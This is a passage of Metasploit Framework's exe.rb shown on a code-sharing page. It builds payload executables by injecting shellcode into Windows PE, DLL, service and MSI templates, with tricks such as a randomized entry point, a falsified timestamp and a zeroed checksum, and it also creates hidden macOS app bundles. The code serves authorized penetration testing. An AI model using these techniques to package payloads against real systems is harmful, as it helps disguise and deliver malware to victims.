CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/lib/msf/util/exe.rb
Views: 11779
1
# -*- coding: binary -*-
2
3
module Msf
4
module Util
5
#
6
# The class provides methods for creating and encoding executable file
7
# formats for various platforms. It is a replacement for the previous
8
# code in Rex::Text
9
#
10
11
class EXE
12
13
require 'rex'
14
require 'rex/peparsey'
15
require 'rex/pescan'
16
require 'rex/random_identifier'
17
require 'rex/zip'
18
require 'rex/powershell'
19
require 'metasm'
20
require 'digest/sha1'
21
# Generates a default template
22
#
23
# @param opts [Hash] The options hash
24
# @option opts [String] :template, the template type for the executable
25
# @option opts [String] :template_path, the path for the template
26
# @option opts [Bool] :fallback, If there are no options set, default options will be used
27
# @param exe [String] Template type. If undefined, will use the default.
28
# @param path [String] Where you would like the template to be saved.
29
def self.set_template_default(opts, exe = nil, path = nil)
30
# If no path specified, use the default one
31
path ||= File.join(Msf::Config.data_directory, "templates")
32
33
# If there's no default name, we must blow it up.
34
unless exe
35
raise RuntimeError, 'Ack! Msf::Util::EXE.set_template_default called ' +
36
'without default exe name!'
37
end
38
39
# Use defaults only if nothing is specified
40
opts[:template_path] ||= path
41
opts[:template] ||= exe
42
43
# Only use the path when the filename contains no separators.
44
unless opts[:template].include?(File::SEPARATOR)
45
opts[:template] = File.join(opts[:template_path], opts[:template])
46
end
47
48
# Check if it exists now
49
return if File.file?(opts[:template])
50
# If it failed, try the default...
51
if opts[:fallback]
52
default_template = File.join(path, exe)
53
if File.file?(default_template)
54
# Perhaps we should warn about falling back to the default?
55
opts.merge!({ :fellback => default_template })
56
opts[:template] = default_template
57
end
58
end
59
end
60
61
# self.read_replace_script_template
62
#
63
# @param filename [String] Name of the file
64
# @param hash_sub [Hash]
65
def self.read_replace_script_template(filename, hash_sub)
66
template_pathname = File.join(Msf::Config.data_directory, "templates",
67
"scripts", filename)
68
template = ''
69
File.open(template_pathname, "rb") {|f| template = f.read}
70
template % hash_sub
71
end
72
73
74
# Generates a ZIP file.
75
#
76
# @param files [Array<Hash>] Items to compress. Each item is a hash that supports these options:
77
# * :data - The content of the file.
78
# * :fname - The file path in the ZIP file
79
# * :comment - A comment
80
# @example Compressing two files, one in a folder called 'test'
81
# Msf::Util::EXE.to_zip([{data: 'AAAA', fname: "file1.txt"}, {data: 'data', fname: 'test/file2.txt'}])
82
# @return [String]
83
def self.to_zip(files)
84
zip = Rex::Zip::Archive.new
85
86
files.each do |f|
87
data = f[:data]
88
fname = f[:fname]
89
comment = f[:comment] || ''
90
zip.add_file(fname, data, comment)
91
end
92
93
zip.pack
94
end
95
96
# Executable generators
97
#
98
# @param arch [Array<String>] The architecture of the system (i.e :x86, :x64)
99
# @param plat [String] The platform (i.e Linux, Windows, OSX)
100
# @param code [String]
101
# @param opts [Hash] The options hash
102
# @param framework [Msf::Framework] The framework of you want to use
103
# @return [String]
104
# @return [NilClass]
105
def self.to_executable(framework, arch, plat, code = '', opts = {})
106
if elf? code or macho? code
107
return code
108
end
109
110
if arch.index(ARCH_X86)
111
112
if plat.index(Msf::Module::Platform::Windows)
113
return to_win32pe(framework, code, opts)
114
end
115
116
if plat.index(Msf::Module::Platform::Linux)
117
return to_linux_x86_elf(framework, code)
118
end
119
120
if plat.index(Msf::Module::Platform::OSX)
121
return to_osx_x86_macho(framework, code)
122
end
123
124
if plat.index(Msf::Module::Platform::BSD)
125
return to_bsd_x86_elf(framework, code)
126
end
127
128
if plat.index(Msf::Module::Platform::Solaris)
129
return to_solaris_x86_elf(framework, code)
130
end
131
132
# XXX: Add remaining x86 systems here
133
end
134
135
if arch.index(ARCH_X64)
136
if (plat.index(Msf::Module::Platform::Windows))
137
return to_win64pe(framework, code, opts)
138
end
139
140
if plat.index(Msf::Module::Platform::Linux)
141
return to_linux_x64_elf(framework, code, opts)
142
end
143
144
if plat.index(Msf::Module::Platform::OSX)
145
return to_osx_x64_macho(framework, code)
146
end
147
148
if plat.index(Msf::Module::Platform::BSD)
149
return to_bsd_x64_elf(framework, code)
150
end
151
end
152
153
if arch.index(ARCH_ARMLE)
154
if plat.index(Msf::Module::Platform::OSX)
155
return to_osx_arm_macho(framework, code)
156
end
157
158
if plat.index(Msf::Module::Platform::Linux)
159
return to_linux_armle_elf(framework, code)
160
end
161
162
# XXX: Add remaining ARMLE systems here
163
end
164
165
if arch.index(ARCH_AARCH64)
166
if plat.index(Msf::Module::Platform::Linux)
167
return to_linux_aarch64_elf(framework, code)
168
end
169
170
if plat.index(Msf::Module::Platform::OSX)
171
return to_osx_aarch64_macho(framework, code)
172
end
173
174
# XXX: Add remaining AARCH64 systems here
175
end
176
177
if arch.index(ARCH_PPC)
178
if plat.index(Msf::Module::Platform::OSX)
179
return to_osx_ppc_macho(framework, code)
180
end
181
# XXX: Add PPC OS X and Linux here
182
end
183
184
if arch.index(ARCH_MIPSLE)
185
if plat.index(Msf::Module::Platform::Linux)
186
return to_linux_mipsle_elf(framework, code)
187
end
188
# XXX: Add remaining MIPSLE systems here
189
end
190
191
if arch.index(ARCH_MIPSBE)
192
if plat.index(Msf::Module::Platform::Linux)
193
return to_linux_mipsbe_elf(framework, code)
194
end
195
# XXX: Add remaining MIPSLE systems here
196
end
197
198
if arch.index(ARCH_RISCV32LE)
199
if plat.index(Msf::Module::Platform::Linux)
200
return to_linux_riscv32le_elf(framework, code)
201
end
202
# TODO: Add remaining RISCV32LE systems here
203
end
204
205
if arch.index(ARCH_RISCV64LE)
206
if plat.index(Msf::Module::Platform::Linux)
207
return to_linux_riscv64le_elf(framework, code)
208
end
209
# TODO: Add remaining RISCV64LE systems here
210
end
211
212
nil
213
end
214
215
# Clears the DYNAMIC_BASE flag for a Windows executable
216
#
217
# @param exe [String] The raw executable to be modified by the method
218
# @param pe [Rex::PeParsey::Pe] Use Rex::PeParsey::Pe.new_from_file
219
# @return [String] the modified executable
220
def self.clear_dynamic_base(exe, pe)
221
c_bits = ("%32d" %pe.hdr.opt.DllCharacteristics.to_s(2)).split('').map { |e| e.to_i }.reverse
222
c_bits[6] = 0 # DYNAMIC_BASE
223
new_dllcharacteristics = c_bits.reverse.join.to_i(2)
224
225
# PE Header Pointer offset = 60d
226
# SizeOfOptionalHeader offset = 94h
227
dll_ch_offset = exe[60, 4].unpack('h4')[0].reverse.hex + 94
228
exe[dll_ch_offset, 2] = [new_dllcharacteristics].pack("v")
229
exe
230
end
231
232
# self.to_win32pe
233
#
234
# @param framework [Msf::Framework]
235
# @param code [String]
236
# @param opts [Hash]
237
# @option opts [String] :sub_method
238
# @option opts [String] :inject, Code to inject into the exe
239
# @option opts [String] :template
240
# @option opts [Symbol] :arch, Set to :x86 by default
241
# @return [String]
242
def self.to_win32pe(framework, code, opts = {})
243
244
# For backward compatibility, this is roughly equivalent to 'exe-small' fmt
245
if opts[:sub_method]
246
if opts[:inject]
247
raise RuntimeError, 'NOTE: using the substitution method means no inject support'
248
end
249
250
# use
251
self.to_win32pe_exe_sub(framework, code, opts)
252
end
253
254
# Allow the user to specify their own EXE template
255
set_template_default(opts, "template_x86_windows.exe")
256
257
# Copy the code to a new RWX segment to allow for self-modifying encoders
258
payload = win32_rwx_exec(code)
259
260
# Create a new PE object and run through sanity checks
261
pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
262
263
#try to inject code into executable by adding a section without affecting executable behavior
264
if opts[:inject]
265
injector = Msf::Exe::SegmentInjector.new({
266
:payload => code,
267
:template => opts[:template],
268
:arch => :x86,
269
:secname => opts[:secname]
270
})
271
return injector.generate_pe
272
end
273
274
text = nil
275
pe.sections.each {|sec| text = sec if sec.name == ".text"}
276
277
raise RuntimeError, "No .text section found in the template" unless text
278
279
unless text.contains_rva?(pe.hdr.opt.AddressOfEntryPoint)
280
raise RuntimeError, "The .text section does not contain an entry point"
281
end
282
283
p_length = payload.length + 256
284
285
# If the .text section is too small, append a new section instead
286
if text.size < p_length
287
appender = Msf::Exe::SegmentAppender.new({
288
:payload => code,
289
:template => opts[:template],
290
:arch => :x86,
291
:secname => opts[:secname]
292
})
293
return appender.generate_pe
294
end
295
296
# Store some useful offsets
297
off_ent = pe.rva_to_file_offset(pe.hdr.opt.AddressOfEntryPoint)
298
off_beg = pe.rva_to_file_offset(text.base_rva)
299
300
# We need to make sure our injected code doesn't conflict with the
301
# the data directories stored in .text (import, export, etc)
302
mines = []
303
pe.hdr.opt['DataDirectory'].each do |dir|
304
next if dir.v['Size'] == 0
305
next unless text.contains_rva?(dir.v['VirtualAddress'])
306
delta = pe.rva_to_file_offset(dir.v['VirtualAddress']) - off_beg
307
mines << [delta, dir.v['Size']]
308
end
309
310
# Break the text segment into contiguous blocks
311
blocks = []
312
bidx = 0
313
mines.sort{|a,b| a[0] <=> b[0]}.each do |mine|
314
bbeg = bidx
315
bend = mine[0]
316
blocks << [bidx, bend-bidx] if bbeg != bend
317
bidx = mine[0] + mine[1]
318
end
319
320
# Add the ending block
321
blocks << [bidx, text.size - bidx] if bidx < text.size - 1
322
323
# Find the largest contiguous block
324
blocks.sort!{|a,b| b[1]<=>a[1]}
325
block = blocks.first
326
327
# TODO: Allow the entry point in a different block
328
if payload.length + 256 >= block[1]
329
raise RuntimeError, "The largest block in .text does not have enough contiguous space (need:#{payload.length+257} found:#{block[1]})"
330
end
331
332
# Make a copy of the entire .text section
333
data = text.read(0,text.size)
334
335
# Pick a random offset to store the payload
336
poff = rand(block[1] - payload.length - 256)
337
338
# Flip a coin to determine if EP is before or after
339
eloc = rand(2)
340
eidx = nil
341
342
# Pad the entry point with random nops
343
entry = generate_nops(framework, [ARCH_X86], rand(200) + 51)
344
345
# Pick an offset to store the new entry point
346
if eloc == 0 # place the entry point before the payload
347
poff += 256
348
eidx = rand(poff-(entry.length + 5))
349
else # place the entry pointer after the payload
350
poff -= [256, poff].min
351
eidx = rand(block[1] - (poff + payload.length + 256)) + poff + payload.length
352
end
353
354
# Relative jump from the end of the nops to the payload
355
entry += "\xe9" + [poff - (eidx + entry.length + 5)].pack('V')
356
357
# Mangle 25% of the original executable
358
1.upto(block[1] / 4) do
359
data[ block[0] + rand(block[1]), 1] = [rand(0x100)].pack("C")
360
end
361
362
# Patch the payload and the new entry point into the .text
363
data[block[0] + poff, payload.length] = payload
364
data[block[0] + eidx, entry.length] = entry
365
366
# Create the modified version of the input executable
367
exe = ''
368
File.open(opts[:template], 'rb') {|fd| exe = fd.read(fd.stat.size)}
369
370
a = [text.base_rva + block.first + eidx].pack("V")
371
exe[exe.index([pe.hdr.opt.AddressOfEntryPoint].pack('V')), 4] = a
372
exe[off_beg, data.length] = data
373
374
tds = pe.hdr.file.TimeDateStamp
375
exe[exe.index([tds].pack('V')), 4] = [tds - rand(0x1000000)].pack("V")
376
377
cks = pe.hdr.opt.CheckSum
378
unless cks == 0
379
exe[exe.index([cks].pack('V')), 4] = [0].pack("V")
380
end
381
382
exe = clear_dynamic_base(exe, pe)
383
pe.close
384
385
exe
386
end
387
388
# self.to_winpe_only
389
#
390
# @param framework [Msf::Framework] The framework of you want to use
391
# @param code [String]
392
# @param opts [Hash]
393
# @param arch [String] Default is "x86"
394
def self.to_winpe_only(framework, code, opts = {}, arch=ARCH_X86)
395
396
# Allow the user to specify their own EXE template
397
set_template_default(opts, "template_#{arch}_windows.exe")
398
399
pe = Rex::PeParsey::Pe.new_from_file(opts[:template], true)
400
401
exe = ''
402
File.open(opts[:template], 'rb') {|fd| exe = fd.read(fd.stat.size)}
403
404
pe_header_size = 0x18
405
entryPoint_offset = 0x28
406
section_size = 0x28
407
characteristics_offset = 0x24
408
virtualAddress_offset = 0x0c
409
sizeOfRawData_offset = 0x10
410
411
sections_table_offset =
412
pe._dos_header.v['e_lfanew'] +
413
pe._file_header.v['SizeOfOptionalHeader'] +
414
pe_header_size
415
416
sections_table_characteristics_offset = sections_table_offset + characteristics_offset
417
418
sections_header = []
419
pe._file_header.v['NumberOfSections'].times do |i|
420
section_offset = sections_table_offset + (i * section_size)
421
sections_header << [
422
sections_table_characteristics_offset + (i * section_size),
423
exe[section_offset,section_size]
424
]
425
end
426
427
addressOfEntryPoint = pe.hdr.opt.AddressOfEntryPoint
428
429
# look for section with entry point
430
sections_header.each do |sec|
431
virtualAddress = sec[1][virtualAddress_offset,0x4].unpack('V')[0]
432
sizeOfRawData = sec[1][sizeOfRawData_offset,0x4].unpack('V')[0]
433
characteristics = sec[1][characteristics_offset,0x4].unpack('V')[0]
434
435
if (virtualAddress...virtualAddress+sizeOfRawData).include?(addressOfEntryPoint)
436
importsTable = pe.hdr.opt.DataDirectory[8..(8+4)].unpack('V')[0]
437
if (importsTable - addressOfEntryPoint) < code.length
438
#shift original entry point to prevent tables overwriting
439
addressOfEntryPoint = importsTable - code.length + 4
440
441
entry_point_offset = pe._dos_header.v['e_lfanew'] + entryPoint_offset
442
exe[entry_point_offset,4] = [addressOfEntryPoint].pack('V')
443
end
444
# put this section writable
445
characteristics |= 0x8000_0000
446
newcharacteristics = [characteristics].pack('V')
447
exe[sec[0],newcharacteristics.length] = newcharacteristics
448
end
449
end
450
451
# put the shellcode at the entry point, overwriting template
452
entryPoint_file_offset = pe.rva_to_file_offset(addressOfEntryPoint)
453
exe[entryPoint_file_offset,code.length] = code
454
exe = clear_dynamic_base(exe, pe)
455
exe
456
end
457
458
# self.to_win32pe_old
459
#
460
# @param framework [Msf::Framework] The framework of you want to use
461
# @param code [String]
462
# @param opts [Hash]
463
def self.to_win32pe_old(framework, code, opts = {})
464
465
payload = code.dup
466
# Allow the user to specify their own EXE template
467
set_template_default(opts, "template_x86_windows_old.exe")
468
469
pe = ''
470
File.open(opts[:template], "rb") {|fd| pe = fd.read(fd.stat.size)}
471
472
if payload.length <= 2048
473
payload << Rex::Text.rand_text(2048-payload.length)
474
else
475
raise RuntimeError, "The EXE generator now has a max size of 2048 " +
476
"bytes, please fix the calling module"
477
end
478
479
bo = pe.index('PAYLOAD:')
480
unless bo
481
raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing \"PAYLOAD:\" tag"
482
end
483
pe[bo, payload.length] = payload
484
485
pe[136, 4] = [rand(0x100000000)].pack('V')
486
487
ci = pe.index("\x31\xc9" * 160)
488
unless ci
489
raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing first \"\\x31\\xc9\""
490
end
491
cd = pe.index("\x31\xc9" * 160, ci + 320)
492
unless cd
493
raise RuntimeError, "Invalid Win32 PE OLD EXE template: missing second \"\\x31\\xc9\""
494
end
495
rc = pe[ci+320, cd-ci-320]
496
497
# 640 + rc.length bytes of room to store an encoded rc at offset ci
498
enc = encode_stub(framework, [ARCH_X86], rc, ::Msf::Module::PlatformList.win32)
499
lft = 640+rc.length - enc.length
500
501
buf = enc + Rex::Text.rand_text(640+rc.length - enc.length)
502
pe[ci, buf.length] = buf
503
504
# Make the data section executable
505
xi = pe.index([0xc0300040].pack('V'))
506
pe[xi,4] = [0xe0300020].pack('V')
507
508
# Add a couple random bytes for fun
509
pe << Rex::Text.rand_text(rand(64)+4)
510
pe
511
end
512
513
514
# Splits a string into a number of assembly push operations
515
#
516
# @param string [String] String to be used
517
# @return [String] null terminated string as assembly push ops
518
def self.string_to_pushes(string)
519
str = string.dup
520
# Align string to 4 bytes
521
rem = (str.length) % 4
522
if rem > 0
523
str << "\x00" * (4 - rem)
524
pushes = ''
525
else
526
pushes = "h\x00\x00\x00\x00"
527
end
528
# string is now 4 bytes aligned with null byte
529
530
# push string to stack, starting at the back
531
while str.length > 0
532
four = 'h'+str.slice!(-4,4)
533
pushes << four
534
end
535
536
pushes
537
end
538
539
# self.exe_sub_method
540
#
541
# @param code [String]
542
# @param opts [Hash]
543
# @option opts [Symbol] :exe_type
544
# @option opts [String] :service_exe
545
# @option opts [Boolean] :sub_method
546
# @return [String]
547
def self.exe_sub_method(code,opts ={})
548
pe = self.get_file_contents(opts[:template])
549
550
case opts[:exe_type]
551
when :service_exe
552
opts[:exe_max_sub_length] ||= 8192
553
name = opts[:servicename]
554
if name
555
bo = pe.index('SERVICENAME')
556
unless bo
557
raise RuntimeError, "Invalid PE Service EXE template: missing \"SERVICENAME\" tag"
558
end
559
pe[bo, 11] = [name].pack('a11')
560
end
561
pe[136, 4] = [rand(0x100000000)].pack('V') unless opts[:sub_method]
562
when :dll
563
opts[:exe_max_sub_length] ||= 4096
564
when :exe_sub
565
opts[:exe_max_sub_length] ||= 4096
566
end
567
568
bo = self.find_payload_tag(pe, "Invalid PE EXE subst template: missing \"PAYLOAD:\" tag")
569
570
if code.length <= opts.fetch(:exe_max_sub_length)
571
pe[bo, code.length] = [code].pack("a*")
572
else
573
raise RuntimeError, "The EXE generator now has a max size of " +
574
"#{opts[:exe_max_sub_length]} bytes, please fix the calling module"
575
end
576
577
if opts[:exe_type] == :dll
578
mt = pe.index('MUTEX!!!')
579
pe[mt,8] = Rex::Text.rand_text_alpha(8) if mt
580
%w{ Local\Semaphore:Default Local\Event:Default }.each do |name|
581
offset = pe.index(name)
582
pe[offset,26] = "Local\\#{Rex::Text.rand_text_alphanumeric(20)}" if offset
583
end
584
585
if opts[:dll_exitprocess]
586
exit_thread = "\x45\x78\x69\x74\x54\x68\x72\x65\x61\x64\x00"
587
exit_process = "\x45\x78\x69\x74\x50\x72\x6F\x63\x65\x73\x73"
588
et_index = pe.index(exit_thread)
589
if et_index
590
pe[et_index,exit_process.length] = exit_process
591
else
592
raise RuntimeError, "Unable to find and replace ExitThread in the DLL."
593
end
594
end
595
end
596
597
pe
598
end
599
600
# self.to_win32pe_exe_sub
601
#
602
# @param framework [Msf::Framework] The framework of you want to use
603
# @param code [String]
604
# @param opts [Hash]
605
# @return [String]
606
def self.to_win32pe_exe_sub(framework, code, opts = {})
607
# Allow the user to specify their own DLL template
608
set_template_default(opts, "template_x86_windows.exe")
609
opts[:exe_type] = :exe_sub
610
exe_sub_method(code,opts)
611
end
612
613
# self.to_win64pe
614
#
615
# @param framework [Msf::Framework] The framework of you want to use
616
# @param code [String]
617
# @param opts [Hash]
618
# @return [String]
619
def self.to_win64pe(framework, code, opts = {})
620
# Allow the user to specify their own EXE template
621
set_template_default(opts, "template_x64_windows.exe")
622
623
# Try to inject code into executable by adding a section without affecting executable behavior
624
if opts[:inject]
625
injector = Msf::Exe::SegmentInjector.new({
626
:payload => code,
627
:template => opts[:template],
628
:arch => :x64,
629
:secname => opts[:secname]
630
})
631
return injector.generate_pe
632
end
633
634
# Append a new section instead
635
appender = Msf::Exe::SegmentAppender.new({
636
:payload => code,
637
:template => opts[:template],
638
:arch => :x64,
639
:secname => opts[:secname]
640
})
641
return appender.generate_pe
642
end
643
644
# Embeds shellcode within a Windows PE file implementing the Windows
645
# service control methods.
646
#
647
# @param framework [Object]
648
# @param code [String] shellcode to be embedded
649
# @option opts [Boolean] :sub_method use substitution technique with a
650
# service template PE
651
# @option opts [String] :servicename name of the service, not used in
652
# substitution technique
653
#
654
# @return [String] Windows Service PE file
655
def self.to_win32pe_service(framework, code, opts = {})
656
set_template_default(opts, "template_x86_windows_svc.exe")
657
if opts[:sub_method]
658
# Allow the user to specify their own service EXE template
659
opts[:exe_type] = :service_exe
660
return exe_sub_method(code,opts)
661
else
662
ENV['MSF_SERVICENAME'] = opts[:servicename]
663
664
opts[:framework] = framework
665
opts[:payload] = 'stdin'
666
opts[:encoder] = '@x86/service,'+(opts[:serviceencoder] || '')
667
668
# XXX This should not be required, it appears there is a dependency inversion
669
# See https://github.com/rapid7/metasploit-framework/pull/9851
670
venom_generator = Msf::PayloadGenerator.new(opts)
671
code_service = venom_generator.multiple_encode_payload(code)
672
return to_winpe_only(framework, code_service, opts)
673
end
674
end
675
676
# self.to_win64pe_service
677
#
678
# @param framework [Msf::Framework] The framework of you want to use
679
# @param code [String]
680
# @param opts [Hash]
681
# @option [String] :exe_type
682
# @option [String] :service_exe
683
# @option [String] :dll
684
# @option [String] :inject
685
# @return [String]
686
def self.to_win64pe_service(framework, code, opts = {})
687
# Allow the user to specify their own service EXE template
688
set_template_default(opts, "template_x64_windows_svc.exe")
689
opts[:exe_type] = :service_exe
690
exe_sub_method(code,opts)
691
end
692
693
# self.set_template_default_winpe_dll
694
#
695
# Set the default winpe DLL template. It will select the template based on the parameters provided including the size
696
# architecture and an optional flavor. See data/templates/src/pe for template source code and build tools.
697
#
698
# @param opts [Hash]
699
# @param arch The architecture, as one the predefined constants.
700
# @param size [Integer] The size of the payload.
701
# @param flavor [Nil,String] An optional DLL flavor, one of 'mixed_mode' or 'dccw_gdiplus'
702
private_class_method def self.set_template_default_winpe_dll(opts, arch, size, flavor: nil)
703
return if opts[:template].present?
704
705
# dynamic size upgrading is only available when MSF selects the template because there's currently no way to
706
# determine the amount of space that is available in the template provided by the user so it's assumed to be 4KiB
707
match = {4096 => '', 262144 => '.256kib'}.find { |k,v| size <= k }
708
if match
709
opts[:exe_max_sub_length] = match.first
710
size_suffix = match.last
711
end
712
713
arch = {ARCH_X86 => 'x86', ARCH_X64 => 'x64'}.fetch(arch, nil)
714
raise ArgumentError, 'The specified arch is not supported, no DLL templates are available for it.' if arch.nil?
715
716
if flavor.present?
717
unless %w[mixed_mode dccw_gdiplus].include?(flavor)
718
raise ArgumentError, 'The specified flavor is not supported, no DLL templates are available for it.'
719
end
720
721
flavor = '_' + flavor
722
end
723
724
set_template_default(opts, "template_#{arch}_windows#{flavor}#{size_suffix}.dll")
725
end
726
727
# self.to_win32pe_dll
728
#
729
# @param framework [Msf::Framework] The framework of you want to use
730
# @param code [String]
731
# @param opts [Hash]
732
# @option [String] :exe_type
733
# @option [String] :dll
734
# @option [String] :inject
735
# @return [String]
736
def self.to_win32pe_dll(framework, code, opts = {})
737
flavor = opts.fetch(:mixed_mode, false) ? 'mixed_mode' : nil
738
set_template_default_winpe_dll(opts, ARCH_X86, code.size, flavor: flavor)
739
opts[:exe_type] = :dll
740
741
if opts[:inject]
742
self.to_win32pe(framework, code, opts)
743
else
744
exe_sub_method(code,opts)
745
end
746
end
747
748
# self.to_win64pe_dll
749
#
750
# @param framework [Msf::Framework] The framework of you want to use
751
# @param code [String]
752
# @param opts [Hash]
753
# @option [String] :exe_type
754
# @option [String] :dll
755
# @option [String] :inject
756
# @return [String]
757
def self.to_win64pe_dll(framework, code, opts = {})
758
flavor = opts.fetch(:mixed_mode, false) ? 'mixed_mode' : nil
759
set_template_default_winpe_dll(opts, ARCH_X64, code.size, flavor: flavor)
760
761
opts[:exe_type] = :dll
762
763
if opts[:inject]
764
raise RuntimeError, 'Template injection unsupported for x64 DLLs'
765
else
766
exe_sub_method(code,opts)
767
end
768
end
769
770
771
# self.to_win32pe_dccw_gdiplus_dll
772
#
773
# @param framework [Msf::Framework] The framework of you want to use
774
# @param code [String]
775
# @param opts [Hash]
776
# @option [String] :exe_type
777
# @option [String] :dll
778
# @option [String] :inject
779
# @return [String]
780
def self.to_win32pe_dccw_gdiplus_dll(framework, code, opts = {})
781
set_template_default_winpe_dll(opts, ARCH_X86, code.size, flavor: 'dccw_gdiplus')
782
to_win32pe_dll(framework, code, opts)
783
end
784
785
# self.to_win64pe_dccw_gdiplus_dll
786
#
787
# @param framework [Msf::Framework] The framework of you want to use
788
# @param code [String]
789
# @param opts [Hash]
790
# @option [String] :exe_type
791
# @option [String] :dll
792
# @option [String] :inject
793
# @return [String]
794
def self.to_win64pe_dccw_gdiplus_dll(framework, code, opts = {})
795
set_template_default_winpe_dll(opts, ARCH_X64, code.size, flavor: 'dccw_gdiplus')
796
to_win64pe_dll(framework, code, opts)
797
end
798
799
# Wraps an executable inside a Windows .msi file for auto execution when run
800
#
801
# @param framework [Msf::Framework] The framework of you want to use
802
# @param exe [String]
803
# @param opts [Hash]
804
# @option opts [String] :msi_template_path
805
# @option opts [String] :msi_template
806
# @return [String]
807
def self.to_exe_msi(framework, exe, opts = {})
808
if opts[:uac]
809
opts[:msi_template] ||= "template_windows.msi"
810
else
811
opts[:msi_template] ||= "template_nouac_windows.msi"
812
end
813
replace_msi_buffer(exe, opts)
814
end
815
816
#self.replace_msi_buffer
817
#
818
# @param pe [String]
819
# @param opts [String]
820
# @option [String] :msi_template
821
# @option [String] :msi_template_path
822
# @return [String]
823
def self.replace_msi_buffer(pe, opts)
824
opts[:msi_template_path] ||= File.join(Msf::Config.data_directory, "templates")
825
826
if opts[:msi_template].include?(File::SEPARATOR)
827
template = opts[:msi_template]
828
else
829
template = File.join(opts[:msi_template_path], opts[:msi_template])
830
end
831
832
msi = self.get_file_contents(template)
833
834
section_size = 2**(msi[30..31].unpack('v')[0])
835
836
# This table is one of the few cases where signed values are needed
837
sector_allocation_table = msi[section_size..section_size*2].unpack('l<*')
838
839
buffer_chain = []
840
841
# This is closely coupled with the template provided and ideally
842
# would be calculated from the dir stream?
843
current_secid = 5
844
845
until current_secid == -2
846
buffer_chain << current_secid
847
current_secid = sector_allocation_table[current_secid]
848
end
849
850
buffer_size = buffer_chain.length * section_size
851
852
if pe.size > buffer_size
853
raise RuntimeError, "MSI Buffer is not large enough to hold the PE file"
854
end
855
856
pe_block_start = 0
857
pe_block_end = pe_block_start + section_size - 1
858
859
buffer_chain.each do |section|
860
block_start = section_size * (section + 1)
861
block_end = block_start + section_size - 1
862
pe_block = [pe[pe_block_start..pe_block_end]].pack("a#{section_size}")
863
msi[block_start..block_end] = pe_block
864
pe_block_start = pe_block_end + 1
865
pe_block_end += section_size
866
end
867
868
msi
869
end
870
871
# self.to_osx_arm_macho
872
#
873
# @param framework [Msf::Framework] The framework of you want to use
874
# @param code [String]
875
# @param opts [Hash]
876
# @option [String] :template
877
# @return [String]
878
def self.to_osx_arm_macho(framework, code, opts = {})
879
880
# Allow the user to specify their own template
881
set_template_default(opts, "template_armle_darwin.bin")
882
883
mo = self.get_file_contents(opts[:template])
884
bo = self.find_payload_tag(mo, "Invalid OSX ArmLE Mach-O template: missing \"PAYLOAD:\" tag")
885
mo[bo, code.length] = code
886
mo
887
end
888
889
# self.to_osx_aarch64_macho
890
#
891
# @param framework [Msf::Framework] The framework of you want to use
892
# @param code [String]
893
# @param opts [Hash]
894
# @option [String] :template
895
# @return [String]
896
def self.to_osx_aarch64_macho(framework, code, opts = {})
897
898
# Allow the user to specify their own template
899
set_template_default(opts, "template_aarch64_darwin.bin")
900
901
mo = self.get_file_contents(opts[:template])
902
bo = self.find_payload_tag(mo, "Invalid OSX Aarch64 Mach-O template: missing \"PAYLOAD:\" tag")
903
mo[bo, code.length] = code
904
Payload::MachO.new(mo).sign
905
mo
906
end
907
908
# self.to_osx_ppc_macho
909
#
910
# @param framework [Msf::Framework] The framework of you want to use
911
# @param code [String]
912
# @param opts [Hash]
913
# @option [String] :template
914
# @return [String]
915
def self.to_osx_ppc_macho(framework, code, opts = {})
916
917
# Allow the user to specify their own template
918
set_template_default(opts, "template_ppc_darwin.bin")
919
920
mo = self.get_file_contents(opts[:template])
921
bo = self.find_payload_tag(mo, "Invalid OSX PPC Mach-O template: missing \"PAYLOAD:\" tag")
922
mo[bo, code.length] = code
923
mo
924
end
925
926
# self.to_osx_x86_macho
927
#
928
# @param framework [Msf::Framework] The framework of you want to use
929
# @param code [String]
930
# @param opts [Hash]
931
# @option [String] :template
932
# @return [String]
933
def self.to_osx_x86_macho(framework, code, opts = {})
934
935
# Allow the user to specify their own template
936
set_template_default(opts, "template_x86_darwin.bin")
937
938
mo = self.get_file_contents(opts[:template])
939
bo = self.find_payload_tag(mo, "Invalid OSX x86 Mach-O template: missing \"PAYLOAD:\" tag")
940
mo[bo, code.length] = code
941
mo
942
end
943
944
# self.to_osx_x64_macho
945
#
946
# @param framework [Msf::Framework] The framework of you want to use
947
# @param code [String]
948
# @param opts [Hash]
949
# @option [String] :template
950
# @return [String]
951
def self.to_osx_x64_macho(framework, code, opts = {})
952
set_template_default(opts, "template_x64_darwin.bin")
953
954
macho = self.get_file_contents(opts[:template])
955
bin = self.find_payload_tag(macho,
956
"Invalid Mac OS X x86_64 Mach-O template: missing \"PAYLOAD:\" tag")
957
macho[bin, code.length] = code
958
macho
959
end
960
961
# self.to_osx_app
962
# @param opts [Hash] The options hash
963
# @option opts [Hash] :exe_name (random) the name of the macho exe file (never seen by the user)
964
# @option opts [Hash] :app_name (random) the name of the OSX app
965
# @option opts [Hash] :hidden (true) hide the app when it is running
966
# @option opts [Hash] :plist_extra ('') some extra data to shove inside the Info.plist file
967
# @return [String] zip archive containing an OSX .app directory
968
def self.to_osx_app(exe, opts = {})
969
exe_name = opts.fetch(:exe_name) { Rex::Text.rand_text_alpha(8) }
970
app_name = opts.fetch(:app_name) { Rex::Text.rand_text_alpha(8) }
971
hidden = opts.fetch(:hidden, true)
972
plist_extra = opts.fetch(:plist_extra, '')
973
974
app_name.chomp!(".app")
975
app_name += ".app"
976
977
visible_plist = if hidden
978
%Q|
979
<key>LSBackgroundOnly</key>
980
<string>1</string>
981
|
982
else
983
''
984
end
985
986
info_plist = %Q|
987
<?xml version="1.0" encoding="UTF-8"?>
988
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
989
<plist version="1.0">
990
<dict>
991
<key>CFBundleExecutable</key>
992
<string>#{exe_name}</string>
993
<key>CFBundleIdentifier</key>
994
<string>com.#{exe_name}.app</string>
995
<key>CFBundleName</key>
996
<string>#{exe_name}</string>#{visible_plist}
997
<key>CFBundlePackageType</key>
998
<string>APPL</string>
999
#{plist_extra}
1000
</dict>
1001
</plist>
1002
|
1003
1004
zip = Rex::Zip::Archive.new
1005
zip.add_file("#{app_name}/", '')
1006
